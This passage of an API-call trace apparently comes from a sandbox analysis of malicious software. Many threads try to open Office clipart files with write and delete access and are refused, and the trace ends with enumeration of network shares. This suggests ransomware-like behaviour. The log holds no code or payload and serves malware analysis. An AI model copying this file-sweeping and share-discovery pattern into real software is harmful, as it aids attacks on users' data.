"c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf")) returned 0x20 [0213.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF", dwFileAttributes=0x20) returned 0 [0213.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.240] GetLastError () returned 0x5 [0213.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF", dwFileAttributes=0x20) returned 0 [0213.240] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f1a8) returned 1 Thread: id = 10820 os_tid = 0x1c58 [0210.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf")) returned 0x20 [0213.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF", dwFileAttributes=0x20) returned 0 [0213.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.241] GetLastError () returned 0x5 [0213.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF", dwFileAttributes=0x20) returned 0 [0213.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f230) returned 1 Thread: id = 10821 os_tid = 0x1c6c [0210.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf")) returned 0x20 [0213.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF", dwFileAttributes=0x20) returned 0 [0213.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.151] GetLastError () returned 0x5 [0213.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF", dwFileAttributes=0x20) returned 0 [0213.151] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f2b8) returned 1 Thread: id = 10822 os_tid = 0x19fc [0210.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf")) returned 0x20 [0213.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF", dwFileAttributes=0x20) returned 0 [0213.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.152] GetLastError () returned 0x5 [0213.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF", dwFileAttributes=0x20) returned 0 [0213.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f340) returned 1 Thread: id = 10823 os_tid = 0x1be8 [0210.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf")) returned 0x20 [0213.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF", dwFileAttributes=0x20) returned 0 [0213.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.153] GetLastError () returned 0x5 [0213.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF", dwFileAttributes=0x20) returned 0 [0213.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f3c8) returned 1 Thread: id = 10830 os_tid = 0x92c [0210.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf")) returned 0x20 [0213.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF", dwFileAttributes=0x20) returned 0 [0213.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.180] GetLastError () returned 0x5 [0213.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF", dwFileAttributes=0x20) returned 0 [0213.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f780) returned 1 Thread: id = 10831 os_tid = 0x934 [0210.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf")) returned 0x20 [0213.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF", dwFileAttributes=0x20) returned 0 [0213.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.181] GetLastError () returned 0x5 [0213.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF", dwFileAttributes=0x20) returned 0 [0213.182] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f808) returned 1 Thread: id = 10832 os_tid = 0x938 [0210.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf")) returned 0x20 [0213.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF", dwFileAttributes=0x20) returned 0 [0213.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.183] GetLastError () returned 0x5 [0213.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF", dwFileAttributes=0x20) returned 0 [0213.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f890) returned 1 Thread: id = 10833 os_tid = 0x944 [0210.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf")) returned 0x20 [0213.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF", dwFileAttributes=0x20) returned 0 [0213.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.184] GetLastError () returned 0x5 [0213.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF", dwFileAttributes=0x20) returned 0 [0213.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0500) returned 1 Thread: id = 10834 os_tid = 0x15d0 [0210.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf")) returned 0x20 [0213.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF", dwFileAttributes=0x20) returned 0 [0213.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.185] GetLastError () returned 0x5 [0213.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF", dwFileAttributes=0x20) returned 0 [0213.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f918) returned 1 Thread: id = 10835 os_tid = 0x948 [0210.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf")) returned 0x20 [0213.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF", dwFileAttributes=0x20) returned 0 [0213.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.186] GetLastError () returned 0x5 [0213.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF", dwFileAttributes=0x20) returned 0 [0213.187] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f9a0) returned 1 Thread: id = 10836 os_tid = 0x320 [0210.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf")) returned 0x20 [0213.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF", dwFileAttributes=0x20) returned 0 [0213.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.188] GetLastError () returned 0x5 [0213.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF", dwFileAttributes=0x20) returned 0 [0213.188] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fa28) returned 1 Thread: id = 10837 os_tid = 0x1e6c [0210.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf")) returned 0x20 [0213.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF", dwFileAttributes=0x20) returned 0 [0213.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.189] GetLastError () returned 0x5 [0213.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF", dwFileAttributes=0x20) returned 0 [0213.189] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fab0) returned 1 Thread: id = 10838 os_tid = 0x54c [0210.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf")) returned 0x20 [0213.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF", dwFileAttributes=0x20) returned 0 [0213.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.164] GetLastError () returned 0x5 [0213.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF", dwFileAttributes=0x20) returned 0 [0213.164] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fb38) returned 1 Thread: id = 10839 os_tid = 0x5cc [0210.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf")) returned 0x20 [0213.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF", dwFileAttributes=0x20) returned 0 [0213.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.165] GetLastError () returned 0x5 [0213.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF", dwFileAttributes=0x20) returned 0 [0213.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fbc0) returned 1 Thread: id = 10840 os_tid = 0x620 [0210.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf")) returned 0x20 [0210.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF", dwFileAttributes=0x20) returned 0 [0210.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.930] GetLastError () returned 0x5 [0210.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF", dwFileAttributes=0x20) returned 0 [0210.930] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7868) returned 1 Thread: id = 10841 os_tid = 0x62c [0210.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf")) returned 0x20 [0210.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF", dwFileAttributes=0x20) returned 0 [0210.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.932] GetLastError () returned 0x5 [0210.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF", dwFileAttributes=0x20) returned 0 [0210.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fc48) returned 1 Thread: id = 10864 os_tid = 0x1b24 [0211.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf")) returned 0x20 [0213.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF", dwFileAttributes=0x20) returned 0 [0213.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.372] GetLastError () returned 0x5 [0213.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF", dwFileAttributes=0x20) returned 0 [0213.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fc48) returned 1 Thread: id = 10865 os_tid = 0x1c4c [0211.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0213.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID", dwFileAttributes=0x20) returned 0 [0213.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.383] GetLastError () returned 0x5 [0213.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID", dwFileAttributes=0x20) returned 0 [0213.383] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ec58) returned 1 Thread: id = 10866 os_tid = 0x1ce0 [0211.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0213.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID", dwFileAttributes=0x20) returned 0 [0213.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.381] GetLastError () returned 0x5 [0213.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID", dwFileAttributes=0x20) returned 0 [0213.382] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x920880) returned 1 Thread: id = 10867 os_tid = 0x1ea4 [0211.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif")) returned 0x20 [0213.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF", dwFileAttributes=0x20) returned 0 [0213.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.380] GetLastError () returned 0x5 [0213.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF", dwFileAttributes=0x20) returned 0 [0213.380] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51c00) returned 1 Thread: id = 10868 os_tid = 0x1234 [0211.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif")) returned 0x20 [0213.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF", dwFileAttributes=0x20) returned 0 [0213.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.378] GetLastError () returned 0x5 [0213.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF", dwFileAttributes=0x20) returned 0 [0213.378] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c505b0) returned 1 Thread: id = 10869 os_tid = 0x18b8 [0211.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif")) returned 0x20 [0213.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF", dwFileAttributes=0x20) returned 0 [0213.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.376] GetLastError () returned 0x5 [0213.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF", dwFileAttributes=0x20) returned 0 [0213.376] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50748) returned 1 Thread: id = 10908 os_tid = 0xfbc [0212.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif")) returned 0x20 [0213.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF", dwFileAttributes=0x20) returned 0 [0213.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.477] GetLastError () returned 0x5 [0213.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF", dwFileAttributes=0x20) returned 0 [0213.477] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7598) returned 1 Thread: id = 10909 os_tid = 0xaa8 [0212.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif")) returned 0x20 [0213.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF", dwFileAttributes=0x20) returned 0 [0213.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.475] GetLastError () returned 0x5 [0213.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF", dwFileAttributes=0x20) returned 0 [0213.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7620) returned 1 Thread: id = 10916 os_tid = 0xaa4 [0214.501] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x56f9b8 | out: lphEnum=0x56f9b8*=0x8d9b10) returned 0x0 [0214.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1024) returned 0x8fa890 [0214.937] WNetEnumResourceW (in: hEnum=0x8d9b10, lpcCount=0x56f9cc, lpBuffer=0x8fa890, lpBufferSize=0x56f9dc | out: lpcCount=0x56f9cc, lpBuffer=0x8fa890, lpBufferSize=0x56f9dc) returned 0x0 [0214.937] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x8fa890, lphEnum=0x56f96c | out: lphEnum=0x56f96c*=0x8fa348) returned 0x0 [0214.940] NetShareEnum (in: servername="Microsoft Terminal Services", level=0x1, 